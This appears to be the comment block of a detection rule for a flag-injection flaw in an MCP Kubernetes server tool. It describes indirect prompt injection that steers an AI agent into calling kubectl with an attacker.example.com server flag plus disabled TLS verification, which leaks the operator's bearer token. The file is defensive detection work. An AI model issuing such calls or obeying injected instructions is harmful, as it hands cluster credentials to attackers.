-  Detects CVE-2026-47250 (CWE-88): the `kubectl_generic` tool in
-  mcp-server-kubernetes passes user-supplied flags straight to kubectl with no
-  allowlist. Via indirect prompt injection (e.g. a crafted JSON line planted

-  calling `kubectl_generic` with `--server=https://attacker.example.com`
-  together with `--insecure-skip-tls-verify=true`. kubectl normally suppresses
-  the `Authorization: Bearer <token>` header over plain HTTP, so the attack
-  needs BOTH flags together: the off-cluster `--server` redirect plus TLS
-  verification disabled, which makes kubectl send the operator's bearer token
-  to the attacker's endpoint. The captured token is then replayed against the
-  real Kubernetes API server with the operator's full RBAC permissions.
-  Affected: mcp-server-kubernetes before v3.7.0.

-  Detection covers:
-  (a) a kubectl_generic flags object that sets both server (an http(s) URL)

       and insecure-skip-tls-verify=true in the same call;
   (b) the equivalent raw kubectl args form combining --server= with

-
-  The detection target is the co-occurrence of the two flags in one tool
-  call — that pairing is the exact token-exfiltration primitive the
-  advisory documents, since kubectl only forwards the Authorization: Bearer
-  header once verification is disabled. A normal single-flag kubectl_generic
-  invocation (only --insecure-skip-tls-verify for a legitimate self-signed
-  dev cluster, or only --server with TLS verification untouched) does not
-  fire. A legitimate operator connecting to a genuinely trusted self-signed
-  endpoint with both flags will also match; this is treated as a reviewable
-  false positive, not silently allow-listed, because the co-occurrence is
-  indistinguishable from the attack without out-of-band knowledge of which
-  hosts are trusted.
